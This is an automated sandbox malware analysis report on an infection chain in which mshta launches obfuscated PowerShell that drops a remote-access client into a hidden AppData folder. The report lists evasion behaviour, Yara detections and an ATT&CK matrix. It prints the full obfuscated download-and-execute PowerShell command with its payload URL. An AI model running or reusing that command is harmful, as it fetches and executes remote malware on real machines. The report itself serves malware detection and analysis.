Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_110B8200 Sleep,ExitProcess,

21_2_110B8200

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1038	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8835	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 459	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\bpsFyf\remcmdstub.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\bpsFyf\TCCTL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\bpsFyf\HTCTL32.DLL	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Evaded block: after key decision	graph_21-65689
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Evaded block: after key decision	graph_21-69719
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Evaded block: after key decision	graph_21-69974
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Evaded block: after key decision	graph_21-69934

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_21-70059

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_21-66218

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

API coverage: 5.5 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8100

Thread sleep time: -7378697629483816s >= -30000s

Jump to behavior

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	21_2_1102D330
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11065890 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	21_2_11065890
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_1106A0A0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	21_2_1106A0A0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_111266E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	21_2_111266E0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 12_2_00007FFEB7112610 GetSystemInfo,

12_2_00007FFEB7112610

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: client32.exe, 00000015.00000003.1980133630.0000000006157000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000015.00000003.2279010250.0000000006141000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000015.00000003.1981222393.0000000006141000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW5
Source: HTCTL32.DLL.12.dr	Binary or memory string: VMware
Source: HTCTL32.DLL.12.dr	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: TCCTL32.DLL.12.dr	Binary or memory string: skt%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllGetAdaptersInfoIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlTCREMOTETCBRIDGE%s=%s
Source: mshta.exe, 0000000B.00000003.1757222957.00000254956DC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.1754052236.00000254956D0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.1754052236.0000025495632000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000015.00000002.2417429700.0000000006110000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000015.00000002.2407434986.000000000135E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HTCTL32.DLL.12.dr	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla
Source: TCCTL32.DLL.12.dr	Binary or memory string: VMWare
Source: mshta.exe, 0000000B.00000002.1764062895.0000025495683000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.1754052236.0000025495669000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW/CQ
Source: mshta.exe, 0000000B.00000003.1755200295.0000025C982C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: client32.exe, 00000015.00000002.2427569432.000000006C640000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cladl*
Source: powershell.exe, 0000000C.00000002.2019703898.000002F279FDA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

API call chain: ExitProcess graph end node

graph_21-65757

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_11161D01 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

21_2_11161D01

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_11147750 GetLastError,wsprintfA,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,SetLastError,GetKeyState,

21_2_11147750

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

21_2_11029590

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_1108BF30 GetTokenInformation,GetTokenInformation,GetProcessHeap,HeapAlloc,GetTokenInformation,IsValidSid,GetLengthSid,GetProcessHeap,HeapAlloc,CopySid,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

21_2_1108BF30

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11093080 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	21_2_11093080
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_110310C0 _NSMClient32@8,SetUnhandledExceptionFilter,	21_2_110310C0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11161D01 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	21_2_11161D01
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_1116DD89 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_1116DD89

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_7944.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: mshta.exe PID: 7848, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7944, type: MEMORYSTR

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_110F4560 GetTickCount,LogonUserA,GetTickCount,GetLastError,

21_2_110F4560

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_1111FCA0 GetForegroundWindow,GetClassNameA,GetWindowTextA,keybd_event,keybd_event,keybd_event,

21_2_1111FCA0

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://traversecityspringbreak.com/o/o.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')\|I`E`X	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\user\AppData\Roaming\bpsFyf	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe "C:\Users\user\AppData\Roaming\bpsFyf\client32.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h C:\Users\user\AppData\Roaming\bpsFyf	Jump to behavior

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_1109E190 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,GetVersionExA,GetSecurityDescriptorSacl,SetSecurityDescriptorSacl,FreeLibrary,CreateFileMappingA,GetLastError,LocalFree,LocalFree,LocalFree,GetLastError,MapViewOfFile,LocalFree,LocalFree,LocalFree,GetModuleFileNameA,GetModuleFileNameA,LocalFree,LocalFree,LocalFree,_memset,GetTickCount,GetCurrentProcessId,GetModuleFileNameA,CreateEventA,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,GetCurrentThreadId,CreateThread,ResetEvent,ResetEvent,ResetEvent,ResetEvent,SetEvent,

21_2_1109E190

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_1109E910 GetTokenInformation,GetTokenInformation,GetTokenInformation,AllocateAndInitializeSid,EqualSid,

21_2_1109E910

Source: client32.exe, 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: client32.exe, client32.exe, 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr	Binary or memory string: Shell_TrayWnd
Source: client32.exe, client32.exe, 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr	Binary or memory string: Progman

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	21_2_11173A35
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	21_2_11173D69
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	21_2_11173CC6
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: GetLocaleInfoA,	21_2_1116B38E
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	21_2_11173933
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	21_2_111739DA
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	21_2_1117383E
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	21_2_11173D2D
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	21_2_11173C06

Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_110F33F0 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeA,GetLastError,Sleep,CreateNamedPipeA,LocalFree,

21_2_110F33F0

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_11177075 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

21_2_11177075

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_1103B160 SHGetFolderPathA,GetUserNameA,DeleteFileA,_sprintf,_fputs,_free,GetFileAttributesA,SetFileAttributesA,

21_2_1103B160

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_11174AE9 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

21_2_11174AE9

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_111450A0 wsprintfA,GetVersionExA,RegOpenKeyExA,_memset,_strncpy,RegCloseKey,

21_2_111450A0

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11070090 CapiHangup,CapiClose,CapiOpen,CapiListen,GetTickCount,GetTickCount,GetTickCount,CapiHangup,Sleep,GetTickCount,Sleep,		21_2_11070090
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_110D8200 __CxxThrowException@8,gethostbyname,WSAGetLastError,_memmove,htons,socket,WSAGetLastError,#21,bind,WSAGetLastError,listen,WSAGetLastError,accept,WSAGetLastError,		21_2_110D8200

Source: Yara match	File source: 21.2.client32.exe.73d70000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.client32.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.client32.exe.73d50000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.client32.exe.111b79e0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.client32.exe.6c600000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.client32.exe.11000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.2427569432.000000006C640000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2405808800.0000000000D12000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.1975726137.0000000000D12000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.1975726137.0000000000D1F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7944, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 7368, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\bpsFyf\pcicapi.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\bpsFyf\PCICHEK.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\bpsFyf\HTCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\bpsFyf\TCCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\bpsFyf\PCICL32.DLL, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Data Obfuscation	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	4 Native API	2 Valid Accounts	2 Valid Accounts	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	13 Ingress Tool Transfer	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	2 Service Execution	1 Windows Service	21 Access Token Manipulation	1 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
